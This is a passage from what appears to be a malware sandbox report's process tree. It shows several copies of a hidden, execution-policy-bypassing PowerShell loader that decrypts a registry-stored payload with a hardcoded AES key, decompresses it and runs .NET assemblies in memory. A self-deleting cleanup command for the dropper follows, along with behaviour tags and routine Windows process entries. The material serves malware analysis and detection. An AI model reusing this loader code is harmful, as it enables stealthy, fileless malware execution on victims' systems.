$qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FNruO, 0, $FNruO.Length);$FNruO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FNruO);$LRYKC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u823wux5O4Fbh5eDFp/+ca2kjBZPfjXdKRiYm5lEi1/uPVvdi4VTw3Skyjvq+xkGRh3uxdMK5Yl30J7OmCvscDDWsBj5l/abJMk7R3rtVFuMmO2mOI8eJ68DpzNoAWbwuQ8vVlvfanC/+gVlAdicm4rn+Kxx0kjBxYQkdhDX8XhlvH9ZzMTYkQh7CAVDqjxzKnDzYFw26lZKBQhJ3luRhFBABAcYg16uXMiNBWXm1Frbp6IbtOgcTJ6GmJT6oeUkTVubIhdaLB7VUJXskuFV2zuoBiAtc2u4ckc48tqLxmOJeVGxobT7YO+ZwoLAQ2B6CuhEmiJDGCKp8eDtuz1gb9zd988pQle6YLnHJpMVjNFOoRCNp14ETcLqZFSwo1TzN6HzbvND0c1LW97hv8uasfQXsb6Vx6v7acbKM+Gce90=');$LRYKC = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LRYKC, 0, $LRYKC.Length);$LRYKC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LRYKC);$oSnpH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nSzPWxfvLItLrY6odHpw1Q==');$oSnpH = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oSnpH, 0, $oSnpH.Length);$oSnpH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oSnpH);$AarSr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2IqKtZxS/FqcdHbBUDZbWg==');$AarSr = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AarSr, 0, $AarSr.Length);$AarSr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AarSr);$jKHVk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bw7IB5l0nDJz4V/yoKrAmg==');$jKHVk = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jKHVk, 0, $jKHVk.Length);$jKHVk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jKHVk);$BvkGZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AF0yFBzJZFVK0sW/C+0yOA==');$BvkGZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BvkGZ, 0, $BvkGZ.Length);$BvkGZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BvkGZ);$KJTnP = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IzMxK6yRkvNAq3b86ckOZw==');$KJTnP = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KJTnP, 0, $KJTnP.Length);$KJTnP = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KJTnP);$TjsNY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XQk0rQ8HHWmKAJLDXLuouQ==');$TjsNY0 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY0, 0, $TjsNY0.Length);$TjsNY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY0);$TjsNY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('owtqeXTsnLcs3cgKbzagCA==');$TjsNY1 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY1, 0, $TjsNY1.Length);$TjsNY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY1);$TjsNY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2RVrgdRC9/qmCG1cuVpcPg==');$TjsNY2 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY2, 0, $TjsNY2.Length);$TjsNY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY2);$TjsNY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bl9qQJYdA2YNQzYMsVAcjg==');$TjsNY3 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY3, 0, $TjsNY3.Length);$TjsNY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY3);$qGrKR.Dispose();$pdyuP1.Dispose();$TSIUN = [Microsoft.Win32.Registry]::$BvkGZ.$jKHVk($TjsNY).$AarSr($qvqLZ);$yZizz=[string[]]$TSIUN.Split('\');$yPDZH=FCxri(pxzLS([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[1])));OSlRe $yPDZH (,[string[]] ('%*'));$QEiEV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[0]);$pdyuP = New-Object System.Security.Cryptography.AesManaged;$pdyuP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$FYZzj = $pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')();$QEiEV = $FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QEiEV, 0, $QEiEV.Length);$FYZzj.Dispose();$pdyuP.Dispose();$NTbes = New-Object System.IO.MemoryStream(, $QEiEV);$DmFpj = New-Object System.IO.MemoryStream;$FsdiJ = New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::$TjsNY1);$FsdiJ.$KJTnP($DmFpj);$FsdiJ.Dispose();$NTbes.Dispose();$DmFpj.Dispose();$QEiEV = $DmFpj.ToArray();$soNjb = $LRYKC | IEX;$HlzxU = $soNjb::$TjsNY2($QEiEV);$rrXdx = $HlzxU.EntryPoint;$rrXdx.$TjsNY0($null, (, [string[]] ($FNruO)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4888
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1520).WaitForExit();[System.Threading.Thread]::Sleep(5000); function pxzLS($faFmv){ $pdyuP=[System.Security.Cryptography.Aes]::Create(); $pdyuP.Mode=[System.Security.Cryptography.CipherMode]::CBC; $pdyuP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $pdyuP.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s='); $pdyuP.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw=='); $FYZzj=$pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')(); $KNYFp=$FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($faFmv, 0, $faFmv.Length); $FYZzj.Dispose(); $pdyuP.Dispose(); $KNYFp;}function FCxri($faFmv){ $NTbes=New-Object System.IO.MemoryStream(,$faFmv); $DmFpj=New-Object System.IO.MemoryStream; $FsdiJ=New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::Decompress); $FsdiJ.CopyTo($DmFpj); $FsdiJ.Dispose(); $NTbes.Dispose(); $DmFpj.Dispose(); $DmFpj.ToArray();}function OSlRe($faFmv,$leBfz){ $HlzxU=[System.Reflection.Assembly]::Load([byte[]]$faFmv); $rrXdx=$HlzxU.EntryPoint; $rrXdx.Invoke($null, $leBfz);}$pdyuP1 = New-Object System.Security.Cryptography.AesManaged;$pdyuP1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$qGrKR = $pdyuP1.('rotpyrceDetaerC'[-1..-15] -join '')();$TjsNY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('d6Q+LrrhAwyK1uipjOqPxg==');$TjsNY = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY, 0, $TjsNY.Length);$TjsNY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY);$qvqLZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('69yeuXffs7ux/zA0YMGKH3dmXSz0P4vgJbmfiMXrzCM=');$qvqLZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qvqLZ, 0, $qvqLZ.Length);$qvqLZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qvqLZ);$FNruO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WyXwngz2uglRO6ZAcrg6Ag==');$FNruO = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FNruO, 0, $FNruO.Length);$FNruO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FNruO);$LRYKC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u823wux5O4Fbh5eDFp/+ca2kjBZPfjXdKRiYm5lEi1/uPVvdi4VTw3Skyjvq+xkGRh3uxdMK5Yl30J7OmCvscDDWsBj5l/abJMk7R3rtVFuMmO2mOI8eJ68DpzNoAWbwuQ8vVlvfanC/+gVlAdicm4rn+Kxx0kjBxYQkdhDX8XhlvH9ZzMTYkQh7CAVDqjxzKnDzYFw26lZKBQhJ3luRhFBABAcYg16uXMiNBWXm1Frbp6IbtOgcTJ6GmJT6oeUkTVubIhdaLB7VUJXskuFV2zuoBiAtc2u4ckc48tqLxmOJeVGxobT7YO+ZwoLAQ2B6CuhEmiJDGCKp8eDtuz1gb9zd988pQle6YLnHJpMVjNFOoRCNp14ETcLqZFSwo1TzN6HzbvND0c1LW97hv8uasfQXsb6Vx6v7acbKM+Gce90=');$LRYKC = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LRYKC, 0, $LRYKC.Length);$LRYKC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LRYKC);$oSnpH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nSzPWxfvLItLrY6odHpw1Q==');$oSnpH = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oSnpH, 0, $oSnpH.Length);$oSnpH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oSnpH);$AarSr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2IqKtZxS/FqcdHbBUDZbWg==');$AarSr = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AarSr, 0, $AarSr.Length);$AarSr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AarSr);$jKHVk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bw7IB5l0nDJz4V/yoKrAmg==');$jKHVk = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jKHVk, 0, $jKHVk.Length);$jKHVk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jKHVk);$BvkGZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AF0yFBzJZFVK0sW/C+0yOA==');$BvkGZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BvkGZ, 0, $BvkGZ.Length);$BvkGZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BvkGZ);$KJTnP = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IzMxK6yRkvNAq3b86ckOZw==');$KJTnP = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KJTnP, 0, $KJTnP.Length);$KJTnP = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KJTnP);$TjsNY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XQk0rQ8HHWmKAJLDXLuouQ==');$TjsNY0 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY0, 0, $TjsNY0.Length);$TjsNY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY0);$TjsNY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('owtqeXTsnLcs3cgKbzagCA==');$TjsNY1 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY1, 0, $TjsNY1.Length);$TjsNY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY1);$TjsNY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2RVrgdRC9/qmCG1cuVpcPg==');$TjsNY2 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY2, 0, $TjsNY2.Length);$TjsNY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY2);$TjsNY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bl9qQJYdA2YNQzYMsVAcjg==');$TjsNY3 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY3, 0, $TjsNY3.Length);$TjsNY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY3);$qGrKR.Dispose();$pdyuP1.Dispose();$TSIUN = [Microsoft.Win32.Registry]::$BvkGZ.$jKHVk($TjsNY).$AarSr($qvqLZ);$yZizz=[string[]]$TSIUN.Split('\');$yPDZH=FCxri(pxzLS([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[1])));OSlRe $yPDZH (,[string[]] ('%*'));$QEiEV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[0]);$pdyuP = New-Object System.Security.Cryptography.AesManaged;$pdyuP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$FYZzj = $pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')();$QEiEV = $FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QEiEV, 0, $QEiEV.Length);$FYZzj.Dispose();$pdyuP.Dispose();$NTbes = New-Object System.IO.MemoryStream(, $QEiEV);$DmFpj = New-Object System.IO.MemoryStream;$FsdiJ = New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::$TjsNY1);$FsdiJ.$KJTnP($DmFpj);$FsdiJ.Dispose();$NTbes.Dispose();$DmFpj.Dispose();$QEiEV = $DmFpj.ToArray();$soNjb = $LRYKC | IEX;$HlzxU = $soNjb::$TjsNY2($QEiEV);$rrXdx = $HlzxU.EntryPoint;$rrXdx.$TjsNY0($null, (, [string[]] ($FNruO)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:60
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1520).WaitForExit();[System.Threading.Thread]::Sleep(5000); function pxzLS($faFmv){ $pdyuP=[System.Security.Cryptography.Aes]::Create(); $pdyuP.Mode=[System.Security.Cryptography.CipherMode]::CBC; $pdyuP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $pdyuP.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s='); $pdyuP.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw=='); $FYZzj=$pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')(); $KNYFp=$FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($faFmv, 0, $faFmv.Length); $FYZzj.Dispose(); $pdyuP.Dispose(); $KNYFp;}function FCxri($faFmv){ $NTbes=New-Object System.IO.MemoryStream(,$faFmv); $DmFpj=New-Object System.IO.MemoryStream; $FsdiJ=New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::Decompress); $FsdiJ.CopyTo($DmFpj); $FsdiJ.Dispose(); $NTbes.Dispose(); $DmFpj.Dispose(); $DmFpj.ToArray();}function OSlRe($faFmv,$leBfz){ $HlzxU=[System.Reflection.Assembly]::Load([byte[]]$faFmv); $rrXdx=$HlzxU.EntryPoint; $rrXdx.Invoke($null, $leBfz);}$pdyuP1 = New-Object System.Security.Cryptography.AesManaged;$pdyuP1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$qGrKR = $pdyuP1.('rotpyrceDetaerC'[-1..-15] -join '')();$TjsNY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('d6Q+LrrhAwyK1uipjOqPxg==');$TjsNY = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY, 0, $TjsNY.Length);$TjsNY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY);$qvqLZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('69yeuXffs7ux/zA0YMGKH3dmXSz0P4vgJbmfiMXrzCM=');$qvqLZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qvqLZ, 0, $qvqLZ.Length);$qvqLZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qvqLZ);$FNruO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WyXwngz2uglRO6ZAcrg6Ag==');$FNruO = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FNruO, 0, $FNruO.Length);$FNruO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FNruO);$LRYKC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u823wux5O4Fbh5eDFp/+ca2kjBZPfjXdKRiYm5lEi1/uPVvdi4VTw3Skyjvq+xkGRh3uxdMK5Yl30J7OmCvscDDWsBj5l/abJMk7R3rtVFuMmO2mOI8eJ68DpzNoAWbwuQ8vVlvfanC/+gVlAdicm4rn+Kxx0kjBxYQkdhDX8XhlvH9ZzMTYkQh7CAVDqjxzKnDzYFw26lZKBQhJ3luRhFBABAcYg16uXMiNBWXm1Frbp6IbtOgcTJ6GmJT6oeUkTVubIhdaLB7VUJXskuFV2zuoBiAtc2u4ckc48tqLxmOJeVGxobT7YO+ZwoLAQ2B6CuhEmiJDGCKp8eDtuz1gb9zd988pQle6YLnHJpMVjNFOoRCNp14ETcLqZFSwo1TzN6HzbvND0c1LW97hv8uasfQXsb6Vx6v7acbKM+Gce90=');$LRYKC = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LRYKC, 0, $LRYKC.Length);$LRYKC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LRYKC);$oSnpH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nSzPWxfvLItLrY6odHpw1Q==');$oSnpH = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oSnpH, 0, $oSnpH.Length);$oSnpH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oSnpH);$AarSr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2IqKtZxS/FqcdHbBUDZbWg==');$AarSr = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AarSr, 0, $AarSr.Length);$AarSr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AarSr);$jKHVk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bw7IB5l0nDJz4V/yoKrAmg==');$jKHVk = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jKHVk, 0, $jKHVk.Length);$jKHVk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jKHVk);$BvkGZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AF0yFBzJZFVK0sW/C+0yOA==');$BvkGZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BvkGZ, 0, $BvkGZ.Length);$BvkGZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BvkGZ);$KJTnP = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IzMxK6yRkvNAq3b86ckOZw==');$KJTnP = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KJTnP, 0, $KJTnP.Length);$KJTnP = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KJTnP);$TjsNY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XQk0rQ8HHWmKAJLDXLuouQ==');$TjsNY0 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY0, 0, $TjsNY0.Length);$TjsNY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY0);$TjsNY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('owtqeXTsnLcs3cgKbzagCA==');$TjsNY1 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY1, 0, $TjsNY1.Length);$TjsNY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY1);$TjsNY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2RVrgdRC9/qmCG1cuVpcPg==');$TjsNY2 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY2, 0, $TjsNY2.Length);$TjsNY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY2);$TjsNY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bl9qQJYdA2YNQzYMsVAcjg==');$TjsNY3 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY3, 0, $TjsNY3.Length);$TjsNY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY3);$qGrKR.Dispose();$pdyuP1.Dispose();$TSIUN = [Microsoft.Win32.Registry]::$BvkGZ.$jKHVk($TjsNY).$AarSr($qvqLZ);$yZizz=[string[]]$TSIUN.Split('\');$yPDZH=FCxri(pxzLS([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[1])));OSlRe $yPDZH (,[string[]] ('%*'));$QEiEV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[0]);$pdyuP = New-Object System.Security.Cryptography.AesManaged;$pdyuP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$FYZzj = $pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')();$QEiEV = $FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QEiEV, 0, $QEiEV.Length);$FYZzj.Dispose();$pdyuP.Dispose();$NTbes = New-Object System.IO.MemoryStream(, $QEiEV);$DmFpj = New-Object System.IO.MemoryStream;$FsdiJ = New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::$TjsNY1);$FsdiJ.$KJTnP($DmFpj);$FsdiJ.Dispose();$NTbes.Dispose();$DmFpj.Dispose();$QEiEV = $DmFpj.ToArray();$soNjb = $LRYKC | IEX;$HlzxU = $soNjb::$TjsNY2($QEiEV);$rrXdx = $HlzxU.EntryPoint;$rrXdx.$TjsNY0($null, (, [string[]] ($FNruO)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3932
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe"
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:5092
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:2368
    - - C:\Windows\system32\PING.EXE
        
        PING localhost -n 8
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5420
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe"
        5⤵
        Kills process with taskkill
        
        PID:6108
    - - C:\Windows\system32\attrib.exe
        
        ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe"
        5⤵
        Views/modifies file attributes
        
        PID:4940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3548

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3732

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3896

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4976

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4780

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2212

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:384

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3948

